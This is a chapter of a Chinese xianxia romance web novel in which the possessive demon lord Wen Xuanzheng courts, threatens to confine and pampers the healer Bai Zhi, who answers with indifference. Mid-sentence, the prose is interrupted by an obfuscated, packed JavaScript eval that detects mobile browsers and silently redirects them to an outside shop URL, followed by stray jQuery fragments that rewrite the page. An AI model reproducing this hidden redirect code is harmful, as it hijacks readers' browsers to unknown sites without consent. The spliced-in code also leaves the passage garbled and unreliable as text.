18. 摆烂日常

作品:《叮!盲盒反派请签收

    温玄峥的气息蛮横地侵占着白芷的每一寸呼吸,她就像是他爪下无处可逃的猎物。


    危险!白芷清晰地感知温玄峥此时有多危险。她是真的有点怕了,肢体僵直,颤声呼喊着:“温晏初,你醒醒……温晏初,你快醒过来!”


    一声低沉的、沙哑的笑声在寂静的寝室内荡开,那笑声破碎不堪,仿佛是从满是裂痕的胸腔里硬生生挤压出来的,裹挟着令人心惊的痛楚。


    所有的力道骤然一松,温玄峥踉跄着退开。胸腔里那股翻涌的痛楚,像是一把火,快将他烧成一把死灰。温玄峥微微仰起头,喉结滚动,一滴滴泪却猝不及防地砸下来。


    可是小芷,爱你的人是我,不是他温晏初!


    “哈哈哈……”温玄峥笑声歇斯底里,带着无法抑制的颤抖,恍若即将崩溃的边缘。


    白芷参不透温玄峥对自己这份沉重感情的由来,亦理解不了他为何对自己有着近乎偏执的执念。只是望着这样的温玄峥,白芷感觉心口像是被什么东西堵住了,闷得发慌。


    “可是小芷,我和他是一体的,你为什么要如此……区别对待?”温玄峥眼底翻涌着无尽的悲痛与不解,声音也因极致的痛苦而颤抖。


    为什么区别对待?他还真是一点自知之明都没有,他可是双手沾满了鲜血,杀人不眨眼的大魔头啊!


    无论温玄峥经历过什么,滥杀无辜就是错,祸乱世道就是罪。人必须为自己做过的事付出代价,坏人就该受到处罚,邪恶就该被摧毁!


    温玄峥猩红的瞳孔微微收缩,像是看穿了白芷未宣之于口的念头,他道:“可我不过是为了活着!若是没有我,他早死了!”


    如果他有得选择,又怎么会修邪道?又怎么会成魔?又怎么会变成这副连自己都厌恶的疯癫模样?!


    “世间路千千条,你为何非得一条邪道走到底?”白芷目光平静地望向温玄峥,“自古以来,邪不胜正,是人心所向,也是天道规则!”


    这红尘万丈,她曾见过太多恶人锦衣玉食、风生水起,好人委屈求全、颠沛流离。她从前不大信什么善恶有报、邪不胜正的大道理,不然,这世道怎会有那许多不平事?


    后来经历得多了,白芷便渐渐发现,这世间万物,早就在暗中标好了价码。


    不是不付,只是时候未到。


    邪不胜正,不只是用来衡量这世道的尺子,更是悬在每个人头上的一盏灯,让人即便身处黑暗,也能看清自己脚下该走的路。


    温玄峥忽然单膝跪在白芷面前,他伸手攥住她的袖角,仰头看她,眼神竟像是濒死之人望着最后一根浮木,“小芷,你救救我。”


    他一个只手遮半边天的魔尊哪里需要她救?!放在这个小世界里,她只是一个小小的医修,也就比普通人强那么一点点,她连自己的命都掌控不了,怎么可能救得了他?!


    “只有你救得了我。”


    温玄峥这坚定的语气,让白芷都在怀疑自己是造物神,能掌控他的命运。白芷有气无力问道:“那我要怎么救你?”


    “把给姬冰玉的偏爱给我好不好?”


    白芷愣住,她从未见过这样的温玄峥,像个讨糖吃的孩子,眼底盛着小心翼翼的期盼,又藏着深不见底的惶恐。


    “那分我一点好不好?就一点点,好不好?”温玄峥低声恳求,甚至像是哀求。


    温玄峥究竟为何会对自己有这么深的感情?!


    即便原文设定中有过温玄峥嫉妒女主对姬冰玉独一无二的偏爱,多次棒打鸳鸯。但没有出现过温玄峥对女主心生爱意的设定,即便是有,以温玄峥这个大BUG来说,也不会乖乖遵循设定。


    白芷回过神,温玄峥的指尖正悄悄蹭过自己的指尖,带着几分试探的意味,可还没等他握住,白芷便“啪”地一下拍开了他的手。


    温玄峥僵了僵,却没收回手,只是垂着眼睫,任由那只骨节分明的手悬在半空,显得格外落寞。


    以温玄峥的成长经历,他怎么可能长成一个痴情卑微的恋爱脑?!


    白芷试探道:“如果……我不呢?”


    一声低笑从喉间溢出,再抬眼时,温玄峥眸中哪还有半分卑微哀求,猩红瞳孔里翻涌的,全是令人胆寒的偏执,“那本座就只好把你囚在身边,让你永远都见不到姬冰玉,日日夜夜只能看见本座一个人!”


    果然,这才是真的温玄峥,差点被骗了!


    “疯子!”白芷怒骂,气得指尖几乎要戳到温玄峥鼻尖。


    温玄峥却忽然笑出声来,往前凑了凑,让白芷戳了个实在。他眼底泛起病态的偏执:“本座若不是疯子,又怎会甘愿被你刺穿心脏?”


    白芷的手指猛地一颤,这魔头没得救了!


    打也打不过,跑也跑不了,白芷彻底躺了。


    是日,天朗气清,阳光透过花枝,在院子的青石板上洒下细碎的光斑。


    白芷搬了一张软椅,往上一瘫,翘着二郎腿,摇啊摇。温暖的阳光晒得人发软,偶尔有灵雀落在她手边,歪头瞅她,见她没反应,又无趣地飞走。


    有婢女前来传唤:“百里仙子,该去服侍尊上了。”


    “今儿身体不适,休假。”白芷眼皮都懒得抬,懒洋洋道。清风微暖,她困倦地蜷在软榻上,眼皮沉沉地往下坠。


    【滴!检测到男主好感度下降,建议宿主立即执行挽救措施。】


    电子音在白芷识海里响起的时候,白芷对这个系统已经达到了无爱无恨,不期盼也不吐槽的境界。她只是淡淡道:“温玄峥有上一世记忆。”


    【本系统只负责提供攻略方案,不负责解决反派重生这种超纲问题。】


    白芷心态瞬间崩了,差点一口脏话骂了出来:“……好,很好,那你就说我要怎么去攻略姬冰玉?要不你把他送进来好了。”


    【经判定,此情况属于不可抗力,本系统暂不派发新任务,请宿主顽强自救,祝您好运!】


    白芷嘴角抽了抽了,想那么多不如睡觉。


    温玄峥来的时候,白芷已经熟睡了,他垂眸看着她乖巧的睡颜,忍不住伸手轻轻拨开她颊边一缕散落的发丝。


    “啪!”白芷一把掌打了过来,温玄峥没躲也没收回手,就那么顿在半空,只是他的眸色倏地沉了下来,连带着周身的气压都低了几度。


    温玄峥很不爽,不是因为挨了一巴掌,而是因为被打断了好兴致。他低沉道:“听说你身体不舒服?”


    白芷只从鼻间哼出一声敷衍的气音,权当知晓。


    温玄峥伸手摸了摸白芷的额头,又被一巴掌拍开了,他强压着心里的不爽,闷闷道:“温度正常,没发烧,不要装病。”


    白芷淡淡道:“尊主大人,身体不适不是只有发烧,女孩子一个月总有那么几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978359|193552||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天会身体不适。”


    诚然,白芷没有真不适,就是想要回怼温玄峥,想要安静几日。


    “矫情。”温玄峥轻嗤了一声,眼底却多了几分暗色。


    温玄峥离开后的不一会儿功夫,一个婢女捧着一碗药汤而来,赤焰晶雕成的盏托上,暗红药汁正咕嘟咕嘟冒着泡。


    白芷斜倚软榻,指尖漫不经心划过碗沿,挑眉道:“毒?”


    婢女噗通跪下:“仙子明鉴!尊上特意吩咐用千年血灵芝熬的,说是……说是您需要补血。”


    白芷:“……”


    千盼万盼,白芷也没盼到温晏初接管身体,这几日温玄峥对她是千般万般的好,但她一见着温玄峥的身影就开始头疼。


    虽然温玄峥死前是自己捅了他一刀,但是他的死,跟她毫无关系。


    既然重活一世,那自然是要逆天改命,这种时候他不应该招兵买马,给仙门一个突击,把命中宿敌的姬冰玉干掉么?!


    他把自己囚在这里做什么?玩强制爱?!


    白芷是吃也吃不好,睡也睡不香。因此白日打瞌睡的时候就变多了,她正在院子里小惬,突然有种很不祥的预感,她蓦地抬眸。


    大风越过,满树绯红簌簌而落,漫天飞花中缓步走出一人,暗金长袍墨发,眉如墨剑斜飞入鬓,鼻梁高挺唇色绯然,噙着丝丝笑意,正定定瞧着她。


    啧,又是温玄峥。


    温玄峥开口道:“听说,你很无聊。”


    白芷淡淡道:“尊主大人修为高深,清心寡欲,无欲无求,我修为低,可做不到。”


    温玄峥低笑一声,走进后忽然俯身,手臂撑在白芷身侧,将她困在软榻与自己之间:“谁告你本座清心寡欲,无欲无求?”


    滚烫的气息扑面而来,像骤然逼近的烈焰,白芷面无表情地往后仰了仰,试图拉开距离。


    都什么毛病?说话不能好好说,非要贴这么近?!


    温玄峥轻笑,不仅没退,反而又逼近一寸,鼻尖几乎要蹭上白芷的鼻尖。白芷抬腿就是一脚,狠狠踹在玄温玄峥膝盖上,温玄峥咬了咬牙,然后,纹丝不动。


    白芷皱眉问道:“你到底喜欢我什么?”


    “见你第一眼,”温玄峥目光灼灼如烈火,径直望入白芷眼底,“我就知道,你是我的!”


    白芷优雅地翻了个白眼:“我是你大爷!”


    “你要喜欢这个称呼……也行。”温玄峥眉梢一挑,非但不恼,反而低笑出声,慢悠悠道:“那大爷好好疼我。”


    白芷噎住,拳头硬了。这狗男人,怎么什么话都能接?!


    白芷在软榻上利落地翻了个身,用后脑勺明明白白地告诉温玄峥:勿扰。


    见白芷一直不搭理自己,温玄峥指尖轻挑着一副银白色的面具,那面具薄如蝉翼,边缘缀着细碎的宝石,在阳光下流光溢彩,“我可以带你出去玩,不过你得带上这张面具。”


    闻言,白芷懒洋洋地侧过头,眼风在那面具上轻轻一掠,看着像是一张普通面具。她狐疑地打量着温玄峥,像只警惕的猫,声音里带着毫不掩饰的怀疑:“你又想搞什么鬼?”


    温玄峥托着面具,神色平静无波:“只是为了避免麻烦。”


    白芷审视着温玄峥的眼睛,试图从中找出些许端倪,什么也没发现,最终,她轻哼一声,伸手接过了面具,“最好如此。”